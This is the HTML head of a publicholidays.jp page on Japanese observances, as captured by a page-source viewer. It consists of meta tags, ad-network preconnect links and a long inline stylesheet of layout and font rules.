PageSourceSearch

https://publicholidays.jp/observances/

html publicholidays.jp collected 2026-10-02 22:12:23 UTC 714,787 bytes, 550 lines download raw bytes

1<!doctype html>
2<html lang="en-US">
3    <head>
4        <meta charset="UTF-8">
5        <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1">
6        <meta class="swiftype" name="title" data-type="string" content="Other Observances">
7        <meta class='swiftype' name='type' data-type='enum' content='Page'>
8
9        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
10        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
11        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
12        <link rel="manifest" href="/site.webmanifest">
13        <link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
14        <meta name="msapplication-TileColor" content="#da532c">
15        <meta name="theme-color" content="#ffffff">
16
17        <link rel="preload" href="https://publicholidays.jp/wp-content/themes/bb-phg/css/combined.css?ver=1788525049" as="style">
18        <link rel="preload" as="image" href="https://publicholidays.jp/wp-content/uploads/2024/02/Japan_Observances_Output.jpg" />
19        <link rel="preconnect" href="https://a.pub.network/" crossorigin />
20        <link rel="preconnect" href="https://b.pub.network/" crossorigin />
21        <link rel="preconnect" href="https://c.pub.network/" crossorigin />
22        <link rel="preconnect" href="https://d.pub.network/" crossorigin />
23        <link rel="preconnect" href="https://c.amazon-adsystem.com" crossorigin />
24        <link rel="preconnect" href="https://s.amazon-adsystem.com" crossorigin />
25        <link rel="preconnect" href="https://secure.quantserve.com/" crossorigin />
26        <link rel="preconnect" href="https://rules.quantcount.com/" crossorigin />
27        <link rel="preconnect" href="https://pixel.quantserve.com/" crossorigin />
28        <link rel="preconnect" href="https://cmp.quantcast.com/" crossorigin />
29        <link rel="preconnect" href="https://btloader.com/" crossorigin />
30        <link rel="preconnect" href="https://api.btloader.com/" crossorigin />
31        <link rel="preconnect" href="https://confiant-integrations.global.ssl.fastly.net" crossorigin />
32
33        <style>@charset "UTF-8";  @media print, screen and (min-width:40em) {   .reveal {     right : auto;     left  : auto;     margin: 0 auto   } }  html {   font-family             : sans-serif;   line-height             : 1.15;   -ms-text-size-adjust    : 100%;   -webkit-text-size-adjust: 100% }  body {   margin: 0 }  article, aside, footer, header, section {   display: block }  h1 {   font-size: 2em;   margin   : .67em 0 }  a {   background-color            : transparent;   -webkit-text-decoration-skip: objects }  strong {   font-weight: inherit }  strong {   font-weight: bolder }  img {   border-style: none }  button, input, select {   font-family: sans-serif;   font-size  : 100%;   line-height: 1.15;   margin     : 0 }  button {   overflow: visible }  button, select {   text-transform: none }  [type=submit], button, html [type=button] {   -webkit-appearance: button }  [type=button]::-moz-focus-inner, [type=submit]::-moz-focus-inner, button::-moz-focus-inner {   border-style: none;   padding     : 0 }  [type=button]:-moz-focusring, [type=submit]:-moz-focusring, button:-moz-focusring {   outline: 1px dotted ButtonText }  input {   overflow: visible }  [type=checkbox] {   box-sizing: border-box;   padding   : 0 }  [type=search] {   -webkit-appearance: textfield;   outline-offset    : -2px }  [type=search]::-webkit-search-cancel-button, [type=search]::-webkit-search-decoration {   -webkit-appearance: none }  ::-webkit-file-upload-button {   -webkit-appearance: button;   font              : inherit }  html {   box-sizing: border-box;   font-size : 100% }  *, ::after, ::before {   box-sizing: inherit }  body {   margin                 : 0;   padding                : 0;   background             : #fefefe;   font-family            : "Helvetica Neue", Helvetica, Roboto, Arial, sans-serif;   font-weight            : 400;   line-height            : 1.5;   color                  : #0a0a0a;   -webkit-font-smoothing : antialiased;   -moz-osx-font-smoothing: grayscale }  img {   display               : inline-block;   vertical-align        : middle;   max-width             : 100%;   height                : auto;   -ms-interpolation-mode: bicubic }  select {   box-sizing   : border-box;   width        : 100%;   border-radius: 3px }  button {   padding           : 0;   -webkit-appearance: none;   -moz-appearance   : none;   appearance        : none;   border            : 0;   border-radius     : 3px;   background        : 0 0;   line-height       : 1 }  button, input, select {   font-family: inherit }  div, form, h1, h2, li, p, ul {   margin : 0;   padding: 0 }  p {   margin-bottom : 1rem;   font-size     : inherit;   line-height   : 1.6;   text-rendering: optimizeLegibility }  i {   font-style : italic;   line-height: inherit }  strong {   font-weight: 700;   line-height: inherit }  h1, h2 {   font-family   : "Helvetica Neue", Helvetica, Roboto, Arial, sans-serif;   font-style    : normal;   font-weight   : 400;   color         : inherit;   text-rendering: optimizeLegibility }  h1 {   font-size    : 1.5rem;   line-height  : 1.4;   margin-top   : 0;   margin-bottom: .5rem }  h2 {   font-size    : 1.25rem;   line-height  : 1.4;   margin-top   : 0;   margin-bottom: .5rem }  @media print, screen and (min-width:40em) {   h1 {     font-size: 3rem   }    h2 {     font-size: 2.5rem   } }  a {   line-height    : inherit;   color          : #2ba6cb;   text-decoration: none }  a img {   border: 0 }  ul {   margin-bottom      : 1rem;   list-style-position: outside;   line-height        : 1.6 }  li {   font-size: inherit }  ul {   margin-left    : 1.25rem;   list-style-type: disc }  ul ul {   margin-left  : 1.25rem;   margin-bottom: 0 }  .text-left {   text-align: left }  .text-right {   text-align: right }  [type=search] {   display           : block;   box-sizing        : border-box;   width             : 100%;   height            : 2.4375rem;   margin            : 0 0 1rem;   padding           : .5rem;   border            : 1px solid #cacaca;   border-radius     : 3px;   background-color  : #fefefe;   box-shadow        : inset 0 1px 2px rgba(10, 10, 10, .1);   font-family       : inherit;   font-size         : 1rem;   font-weight       : 400;   line-height       : 1.5;   color             : #0a0a0a;   -webkit-appearance: none;   -moz-appearance   : none;   appearance        : none }  input::-webkit-input-placeholder {   color: #cacaca }  input::-moz-placeholder {   color: #cacaca }  input:-ms-input-placeholder {   color: #cacaca }  input:disabled {   background-color: #e6e6e6 }  [type=button], [type=submit] {   -webkit-appearance: none;   -moz-appearance   : none;   appearance        : none;   border-radius     : 3px }  input[type=search] {   box-sizing: border-box }  [type=checkbox] {   margin: 0 0 1rem }  label {   display    : block;   margin     : 0;   font-size  : .875rem;   font-weight: 400;   line-height: 1.8;   color      : #0a0a0a }  select {   height             : 2.4375rem;   margin             : 0 0 1rem;   padding            : .5rem;   -webkit-appearance : none;   -moz-appearance    : none;   appearance         : none;   border             : 1px solid #cacaca;   border-radius      : 3px;   background-color   : #fefefe;   font-family        : inherit;   font-size          : 1rem;   font-weight        : 400;   line-height        : 1.5;   color              : #0a0a0a;   background-image   : url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='32' height='24' viewBox='0 0 32 24'><polygon points='0,0 32,0 16,24' style='fill: rgb%28138, 138, 138%29'></polygon></svg>");   background-origin  : content-box;   background-position: right -1rem center;   background-repeat  : no-repeat;   background-size    : 9px 6px;   padding-right      : 1.5rem }  @media screen and (min-width:0) {   select {     background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAYCAYAAACbU/80AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIpJREFUeNrEkckNgDAMBBfRkEt0ObRBBdsGXUDgmQfK4XhH2m8czQAAy27R3tsw4Qfe2x8uOO6oYLb6GlOor3GF+swURAOmUJ+RwtEJs9WvTGEYxBXqI1MQAZhCfUQKRzDMVj+TwrAIV6jvSUEkYAr1LSkcyTBb/V+KYfX7xAeusq3sLDtGH3kEGACPWIflNZfhRQAAAABJRU5ErkJggg==)   } }  select::-ms-expand {   display: none }  .float-right {   float: right !important }  .clearfix::after, .clearfix::before {   display                : table;   content                : ' ';   -ms-flex-preferred-size: 0;   flex-basis             : 0;   -ms-flex-order         : 1;   order                  : 1 }  .clearfix::after {   clear: both }  @media screen and (max-width:39.9375em) {   .hide-for-small-only {     display: none !important   } }  @media screen and (max-width:0em), screen and (min-width:40em) {   .show-for-small-only {     display: none !important   } }  @media print, screen and (min-width:64em) {   .hide-for-large {     display: none !important   } }  @media screen and (max-width:63.9375em) {   .show-for-large {     display: none !important   } }  .button {   display           : inline-block;   vertical-align    : middle;   margin            : 0 0 1rem 0;   font-family       : inherit;   padding           : .85em 1em;   -webkit-appearance: none;   border            : 1px solid transparent;   border-radius     : 3px;   font-size         : .9rem;   line-height       : 1;   text-align        : center;   background-color  : #2ba6cb;   color             : #fefefe }  .close-button {   position: absolute;   color   : #8a8a8a }  .close-button {   right      : 1rem;   top        : .5rem;   font-size  : 2em;   line-height: 1 }  .menu {   padding      : 0;   margin       : 0;   list-style   : none;   position     : relative;   display      : -ms-flexbox;   display      : flex;   -ms-flex-wrap: wrap;   flex-wrap    : wrap }  .menu a {   line-height    : 1;   text-decoration: none;   display        : block;   padding        : .7rem 1rem }  .menu a, .menu input {   margin-bottom: 0 }  .menu input {   display: inline-block }  .menu {   -ms-flex-wrap     : wrap;   flex-wrap         : wrap;   -ms-flex-direction: row;   flex-direction    : row }  .menu.vertical {   -ms-flex-wrap     : nowrap;   flex-wrap         : nowrap;   -ms-flex-direction: column;   flex-direction    : column }  .menu.nested {   margin-right: 0;   margin-left : 1rem }  .off-canvas-wrapper {   position: relative;   overflow: hidden }  .off-canvas {   position                   : fixed;   z-index                    : 2000;   -webkit-backface-visibility: hidden;   backface-visibility        : hidden;   background                 : #e6e6e6 }  .off-canvas.is-closed {   visibility: hidden }  .position-right {   top          : 0;   right        : 0;   height       : 100%;   overflow-y   : auto;   width        : 250px;   -ms-transform: translateX(250px);   transform    : translateX(250px) }  .off-canvas-content {   -ms-transform              : none;   transform                  : none;   -webkit-backface-visibility: hidden;   backface-visibility        : hidden }  .reveal {   z-index                    : 1006;   -webkit-backface-visibility: hidden;   backface-visibility        : hidden;   display                    : none;   padding                    : 1rem;   border                     : 1px solid #cacaca;   border-radius              : 3px;   background-color           : #fefefe;   position                   : relative;   top                        : 100px;   margin-right               : auto;   margin-left                : auto;   overflow-y                 : auto }  @media print, screen and (min-width:40em) {   .reveal {     min-height: 0   } }  .reveal .column {   min-width: 0 }  .reveal>:last-child {   margin-bottom: 0 }  @media print, screen and (min-width:40em) {   .reveal {     width    : 600px;     max-width: 62.5rem   } }  @media screen and (max-width:39.9375em) {   .reveal {     top          : 0;     left         : 0;     width        : 100%;     max-width    : none;     height       : 100%;     height       : 100vh;     min-height   : 100vh;     margin-left  : 0;     border       : 0;     border-radius: 0   } }  .row {   max-width   : 62.5rem;   margin-right: auto;   margin-left : auto }  .row::after, .row::before {   display                : table;   content                : ' ';   -ms-flex-preferred-size: 0;   flex-basis             : 0;   -ms-flex-order         : 1;   order                  : 1 }  .row::after {   clear: both }  .row.collapse>.column {   padding-right: 0;   padding-left : 0 }  .column, .columns {   width        : 100%;   float        : left;   padding-right: .9375rem;   padding-left : .9375rem }  .column:last-child:not(:first-child) {   float: right }  .small-12 {   width: 50% }  .small-24 {   width: 100% }  @media print, screen and (min-width:64em) {   .large-24 {     width: 100%   } }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 400;   src          : local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.
33com/s/opensans/v13/K88pR3goAWT7BTt32Z01mxJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');   unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 400;   src          : local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/RjgO7rYTmqiVp7vzi-Q5URJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 400;   src          : local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/LWCjsQkB6EMdfHrEVqA1KRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');   unicode-range: U+1F00-1FFF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 400;   src          : local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/xozscpT2726on7jbcb_pAhJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');   unicode-range: U+0370-03FF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 400;   src          : local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/59ZRklaO5bWGqF5A9baEERJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');   unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 400;   src          : local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/u-WUoqrET9fUeobQW7jkRRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');   unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 400;   src          : local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2) format('woff2');   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 700;   src          : local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzK-j2U0lmluP9RWlSytm3ho.woff2) format('woff2');   unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 700;   src          : local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzJX5f-9o1vgP2EXwfjgl7AY.woff2) format('woff2');   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 700;   src          : local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzBWV49_lSm1NYrwo-zkhivY.woff2) format('woff2');   unicode-range: U+1F00-1FFF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 700;   src          : local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzKaRobkAwv3vxw3jMhVENGA.woff2) format('woff2');   unicode-range: U+0370-03FF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 700;   src          : local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzP8zf_FOSsgRmwsS7Aa9k2w.woff2) format('woff2');   unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 700;   src          : local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.
33com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzD0LW-43aMEzIO6XUTLjad8.woff2) format('woff2');   unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : normal;   font-weight  : 700;   src          : local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzOgdm0LZdjqr5-oayXSOefg.woff2) format('woff2');   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 400;   src          : local('Open Sans Italic'), local('OpenSans-Italic'), url(https://fonts.gstatic.com/s/opensans/v13/xjAJXh38I15wypJXxuGMBjTOQ_MqJVwkKsUn0wKzc2I.woff2) format('woff2');   unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 400;   src          : local('Open Sans Italic'), local('OpenSans-Italic'), url(https://fonts.gstatic.com/s/opensans/v13/xjAJXh38I15wypJXxuGMBjUj_cnvWIuuBMVgbX098Mw.woff2) format('woff2');   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 400;   src          : local('Open Sans Italic'), local('OpenSans-Italic'), url(https://fonts.gstatic.com/s/opensans/v13/xjAJXh38I15wypJXxuGMBkbcKLIaa1LC45dFaAfauRA.woff2) format('woff2');   unicode-range: U+1F00-1FFF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 400;   src          : local('Open Sans Italic'), local('OpenSans-Italic'), url(https://fonts.gstatic.com/s/opensans/v13/xjAJXh38I15wypJXxuGMBmo_sUJ8uO4YLWRInS22T3Y.woff2) format('woff2');   unicode-range: U+0370-03FF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 400;   src          : local('Open Sans Italic'), local('OpenSans-Italic'), url(https://fonts.gstatic.com/s/opensans/v13/xjAJXh38I15wypJXxuGMBr6up8jxqWt8HVA3mDhkV_0.woff2) format('woff2');   unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 400;   src          : local('Open Sans Italic'), local('OpenSans-Italic'), url(https://fonts.gstatic.com/s/opensans/v13/xjAJXh38I15wypJXxuGMBiYE0-AqJ3nfInTTiDXDjU4.woff2) format('woff2');   unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 400;   src          : local('Open Sans Italic'), local('OpenSans-Italic'), url(https://fonts.gstatic.com/s/opensans/v13/xjAJXh38I15wypJXxuGMBo4P5ICox8Kq3LLUNMylGO4.woff2) format('woff2');   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 700;   src          : local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'), url(https://fonts.gstatic.com/s/opensans/v13/PRmiXeptR36kaC0GEAetxp6iIh_FvlUHQwED9Yt5Kbw.woff2) format('woff2');   unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 700;   src          : local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'), url(https://fonts.gstatic.com/s/opensans/v13/PRmiXeptR36kaC0GEAetxi_vZmeiCMnoWNN9rHBYaTc.woff2) format('woff2');   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 700;   src          : local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'), url(https://fonts.gstatic.
33com/s/opensans/v13/PRmiXeptR36kaC0GEAetxiFaMxiho_5XQnyRZzQsrZs.woff2) format('woff2');   unicode-range: U+1F00-1FFF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 700;   src          : local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'), url(https://fonts.gstatic.com/s/opensans/v13/PRmiXeptR36kaC0GEAetxgalQocB-__pDVGhF3uS2Ks.woff2) format('woff2');   unicode-range: U+0370-03FF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 700;   src          : local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'), url(https://fonts.gstatic.com/s/opensans/v13/PRmiXeptR36kaC0GEAetxmhQUTDJGru-0vvUpABgH8I.woff2) format('woff2');   unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 700;   src          : local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'), url(https://fonts.gstatic.com/s/opensans/v13/PRmiXeptR36kaC0GEAetxujkDdvhIIFj_YMdgqpnSB0.woff2) format('woff2');   unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;   font-display : swap }  @font-face {   font-family  : 'Open Sans';   font-style   : italic;   font-weight  : 700;   src          : local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'), url(https://fonts.gstatic.com/s/opensans/v13/PRmiXeptR36kaC0GEAetxolIZu-HDpmDIZMigmsroc4.woff2) format('woff2');   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;   font-display : swap }  body {   position: static !important }  .screen-reader-text {   clip    : rect(1px, 1px, 1px, 1px);   position: absolute !important;   height  : 1px;   width   : 1px;   overflow: hidden }  body, * {   font-family: "Open Sans", sans-serif }  h1, h2 {   font-family: "Open Sans", sans-serif }  .text3 {   color: #ffffff }  section.main-section {   background-color: #ffffff }  h1, h2 {   color: #030202 }  body {   color: #333333 }  a {   color: #ef4044 }  .menu, .menu>li, .menu>li>a {   color: #ffffff }  body, footer {   background-color: #ffffff }  footer, footer * {   color: #333333 }  button, .button, a.button:link, a.button:visited, input[type=submit] {   background-color: #ef4044 }  button, .button, a.button:link, a.button:visited, input[type=submit] {   color: #ffffff }  .row {   max-width: 80rem }  #row-hero {   height: 300px;   height: 400px }  body.home #row-hero {   height: 300px;   height: 400px }  .fa, .fa-white {   color: #ffffff }  .off-canvas {   background-color: #030202 }  @media only screen and (min-width:40em) {   #row-hero {     height: 500px;     height: 500px   }    body.home #row-hero {     height: 500px;     height: 500px   } }  @media only screen and (min-width:64em) {   #row-hero {     height: 700px;     height: 500px   }    body.home #row-hero {     height: 700px;     height: 500px   } }  h1 {   font-size: 2rem }  h2 {   font-size: 1.7rem }  .main-section {   margin-top    : 2.7rem;   padding-bottom: 2rem }  .page__heading {   display       : block;   font-weight   : 400;   font-style    : normal;   color         : inherit;   text-rendering: geometricPrecision;   margin-top    : 0;   margin-bottom : .5rem;   line-height   : 1.4 }  .off-canvas-content {   background: #fff }  #row-top {   padding   : 1.5rem 0;   width     : 100%;   background: linear-gradient(180deg, rgba(0, 0, 0, .4), transparent) }  #row-top #row-inner-top {   text-align: center }  #row-top .logo {   max-width: 17rem }  #row-top .logo, .logo a {   display: inline-block }  #row-top .fa-bars {   margin-left: 1rem;   position   : relative }  #row-top .fa-bars, #row-top .fa-bars:before, #row-top .fa-bars:after {   display      : block;   background   : #fff;   height       : 6px;   width        : 34px;   border-radius: 2px }  #row-top .fa-bars:before, #row-top .fa-bars:after {   content : "";   position: absolute;   left    : 0 }  #row-top .fa-bars:before {   top: 11px }  #row-top .fa-bars:after {   top: 22px }  .fa-close {   position: absolute }  .fa-close:after, .fa-close:before {   content      : "";   position     : absolute;   display      : block;   background   : #fff;   width        : 24px;   height       : 7.5px;   top          : 10px;   right        : 0;   border-radius: 2px }  .fa-close:before {   transform: rotate(-45deg) }  .fa-close:after {   transform: rotate(45deg) }  .nav__toggle {   text-align: left }  .nav__logo {   height: 2.5rem }  .nav__menu {   height: 54px }  .nav__menu .toggler-arrow {   float      : right;   margin-left: 10px;   margin-top : 5px }  .nav__menu .toggler-arrow:before {   content          : "";   display          : block;   border-width     : 0 0 3.5px 3.5px !important;   border           : solid #fff;   width            : 10px;   height           : 9px;   -webkit-transform: rotate(-45deg);   -moz-transform   : rotate(-45deg);   -o-transform     : rotate(-45deg);   -ms-transform    : rotate(-45deg);   transform        : rotate(-45deg) }  .nav__link {   position  : relative;   font-size : 1.2rem;   text-align: center }  .button--outline {   position        : relative;   background-color: transparent;   border-color    : #fff;   font-weight     : 600;   border-radius   : 0;   text-transform  : uppercase }  #row-menu-level2 {   background: rgba(51, 51, 51, 0.2);   position  : absolute;   width     : 100%;   top       : 112px;   z-index   : 10 }  #row-menu-level2 a {   font-weight: 600 }  .search-form {   padding : 1rem;   overflow: hidden }  .search-form label {   width: calc(100% - 45px);   float: left }  .search-form .search-submit {   float: right }  /* Hamburger menu button - desktop */ header #row-top .nav__menu .offcanvas-toggle .fa-bars {  margin-left: 0; } header #row-top .nav__menu .offcanvas-toggle .fa-bars, header #row-top .nav__menu .offcanvas-toggle .fa-bars::before, header #row-top .nav__menu .offcanvas-toggle .fa-bars::after {  height: 3px;  width: 24px; } header #row-top .nav__menu .offcanvas-toggle .fa-bars::before {  top: 8px; } header #row-top .nav__menu .offcanvas-toggle .fa-bars::after {  top: 16px; }  .offcanvas-toggle .nav-search-button {   float      : left;   width      : 50px;   height     : 50px;   margin-left: -50px;   margin-top : -10px }  .nav-search-button, .search-form .search-submit, #nav-search-item a {   text-indent        : -9999px;   border             : none;   background-color   : transparent;   background-size    : contain;   background-repeat  : no-repeat;   background-position: top left;   width              : 35px;   height             : 35px }  #nav-search .search-form .search-submit, .nav-search-button, #nav-search-item a {   background-image: url(/wp-content/themes/bb-phg/images/White_Search_Icon.png) }  header #row-top #nav-search-item a {  margin-top: 3px; }  .search-form .search-submit {   background-image: url(/wp-content/themes/bb-phg/images/red_search_icon.png) }  #nav-search .search-form {   max-width: 640px;   margin   : auto;   padding  : 0 }  #nav-search .search-form input {   margin: 0 }  .nav-level2 {   max-height: 0;   overflow  : hidden }  .nav-level2 .menu {   float  : none !important;   display: table !important;   margin : auto !important }  .nav-level2 .menu li {   display: table-cell }  #row-top .menu {   margin-top: 0.6rem }  #row-menu-level2 .menu a {   margin-left: 1rem }  #row-subscribe {   position: absolute;   width   : 100%;   top     : 113px;   z-index : 10 }  .fa {   padding: 0 }  header {   background-repeat: no-repeat;   background-size  : cover;   background-color : rgba(0, 0, 0, 0) }  #row-hero {   position  : relative; }  .hero__title {   text-align       : center;   position         : absolute;   top              : 47%;   left             : 0;   right            : 0;   transform        : translateY(-50%);   ms-transform     : translateY(-50%);   -webkit-transform: translateY(-50%);   -moz-transform   : translateY(-50%);   -o-transform     : translateY(-50%) }  .hero__callout {   padding  : 0 1rem 1rem;   max-width: 800px;   margin   : 0 auto }  .callout__svg {   max-width: 80% }  .hero__heading {   padding-top   : 0.5rem;   padding-bottom: 0.5rem;   padding-left  : 0.7rem;   padding-right : 0.7rem;   display       : inline-block;   font-weight   : bold;   line-height   : 1;   text-transform: uppercase }  .hero__heading {   margin-bottom: 0.5rem;   font-size    : 1.3rem }  @media only screen and (max-width: 30em) {   header.disable-image-mobile {     background-image: none !important;   } } @media only screen and (min-width: 30.0001em) {   header.disable-image-desktop {     background-image: none !important;   } }  .pane__button {   margin-top: 0.5rem }  .pane__button a {   background-color: transparent !important }  .off-canvas {   padding: 1rem 0;   height : 100% }  .accordion__nav {   margin-top: 1rem;   text-align: left }  .accordion__nav li:not(:first-child) .accordion__toggle {   border-top : 1px solid rgba(255, 255, 255, 0.50);   padding-top: 1rem !important }  .accordion__nested {   padding-bottom: 1rem }  .nav__logo--off {   height     : 2rem !important;   margin-left: 0.7rem }  button.close-button {   background-color: transparent }  #row-subscribe {   background: rgba(255, 255, 255, 0.2) }  .toggle__element {   max-height: 0;   overflow  : hidden }  .toggle__wrapper {   display   : table;   width     : 100%;   text-align: center }  @media only screen and (min-width:40em) {   h1 {     font-size: 2rem   }    h2 {     font-size: 1.7rem   }    .page__heading {     font-size: 2rem   }    .hero__heading {     font-size: 2.5rem   }    .nav__logo {     height: 3.7rem   }    #row-top .logo {     max-width: 100%   } }  @media only screen and (min-device-width:375px) and (max-device-width:667px) and (-webkit-min-device-pixel-ratio:2) and (orientation:landscape) {   .nav__logo {     height: 3rem   }    .callout__svg {     max-width: 55%   }    .hero__heading {     font-size: 1.6rem   } }  .row-ad-leaderboard {   text-align: center }  body.page-template-template-new .main-section {   margin-top: 1.4rem }  body.page-template-template-new h2.page__heading {   text-align: center }  body.page-template-template-new .page__content {   padding-left : 15px;   padding-right: 15px }  body.page-template-template-new #row-inner-content {   max-width: 1000px }  .sidebar-list {   display      : block;   text-align   : initial;   font-family  : Open Sans, Arial, sans-serif;   color        : #333; } .sidebar-list:has(*) {   margin-bottom: 20px; }  a[href]:after {   content: "" }  #phg-pane {   clear     : both;   display   : block;   text-align: center }  #row-related-links {   display: block }  @media (max-width:960px) {   #row-related-links {     margin-bottom: 0   } }  @media (min-width:960px) {   #row-inner-related-links {     display: none   } }  .select2.select2-container {  max-width: 100%;  width: 500px;  margin: 1em auto;  display: block; } .select2.select2-container span.select2-selection {  height: 35px; } .select2.select2-container span.select2-selection .select2-selection__rendered {  line-height: 35px; } .select2.select2-container span.select2-selection .select2-selection__arrow {  height: 35px; } .select2.select2-container .select2-selection__arrow b {  border-color: #000 transparent transparent transparent !important; }  #pmLink {           visibility: hidden;           color: #333333;           text-decoration: none;           cursor: pointer;           background: transparent;           border: none;     }  #pmLink:hover {           visibility: visible;           color: #ef4044;     }</style>
34
35        
